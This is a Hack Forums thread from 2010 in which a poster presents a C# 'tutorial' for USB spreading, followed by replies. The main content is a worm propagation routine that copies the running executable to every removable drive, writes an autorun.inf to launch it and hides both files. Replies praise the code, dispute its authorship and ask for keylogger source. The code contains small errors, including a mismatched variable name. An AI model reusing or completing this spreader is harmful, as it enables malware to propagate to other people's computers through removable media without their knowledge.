Hack Forums
[C#] [C#][TUT]USB Spread - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [C#] [C#][TUT]USB Spread (/showthread.php?tid=748022)

Pages: Pages 1 2


[C#][TUT]USB Spread - Coblex - Oct 17, 2010

USB Spreading is actually very easy to perform.Algorythm to do so consists of 4 steps:
1.Geting the list of USB drives
2.Copying file(s) to USB drive
3.Editing autorun.inf file
4.Hiding autorun.inf and copied files
In this tutorial i'm using C#, but it can be done in any programming language.This is function that spreads the running file to the all USB drives.If you are just copying my code, please give me some credits.

Code
using System.IO;

void USBSpread()
{
      DriveInfo[] Drives = DriveInfo.GetDrives();
      foreach (DriveInfo drive in drives)
            {
                if (drive.DriveType == DriveType.Removable)
                {
                      StreamWriter writer = new StreamWriter(drive.Name + "autorun.inf");
                       writer.WriteLine("[autorun]\n");
                       writer.WriteLine("open=file.exe");
                       writer.WriteLine("action=Run win32");
                       writer.Close();
                       File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden);
                       File.Copy(Assembly.GetExecutingAssembly().Location, drive.Name + "file.exe", true);
                       File.SetAttributes(drive.Name + "file.exe", File.GetAttributes(drive.Name + "file.exe") | FileAttributes.Hidden);
                }
            }

}



* - Quays - Oct 17, 2010

Great Tut! Thanks Bro! :)


* - JaNveL - Oct 17, 2010

GJ Bro... +REP
:D ;) continue to write tutorials.. You will be have VIP on this 4um :D


* - The-Noob - Oct 17, 2010

thanks for the share! I'm still in 2 minds to change from vb.net to c# i love vb.net :( but wanna learn something new....


* - killerdoob420 - Oct 17, 2010

Why do i have the feeling that the first 3 posters are the same guy?


* - JaNveL - Oct 17, 2010

you bad wrong feel :D
we don't now each other


* - Ablaze - Oct 17, 2010

+rep even though they guy is a reg member lol?

I think its the same dude too.

Idk what hed get off doing that.


* - Coblex - Oct 17, 2010

Why on earth would i create 3 fake profiles???BTW you can see difference between my and JaNveL's grammar...-.-


* - S!rk0 - Oct 17, 2010

Good bro, thank's you for sharing ...


* - claymore - Nov 9, 2010

Can someone explain me, Why Assembly.GetExecutingAssembly().Location is used, why not just "test.exe" here?


* - Joey K - Nov 9, 2010

I don't see how this is your code. You can find the exact same code posted everywhere on HF.


* - walidbj - Nov 26, 2010

thanks a lot this function is very usefull. I searched the forum and I only find c++ code for keylogger. Is there any c# code for a keylogger. I know i'am lazy cause c++ and c# are quite similar. Thanks a lot anyway for this function


* - Fame - Nov 26, 2010

(Nov 26, 2010 07:54 AM)walidbj Wrote:  thanks a lot this function is very usefull. I searched the forum and I only find c++ code for keylogger. Is there any c# code for a keylogger. I know i'am lazy cause c++ and c# are quite similar. Thanks a lot anyway for this function

lOL WTF C# and C++ are totally different..


* - 00niels00 - Nov 26, 2010

What tutorial? There is no tutorial.
Also this source is not made by you.
I think it's made by t0fx.


* - Fabric - Nov 26, 2010

good tut keep up the good work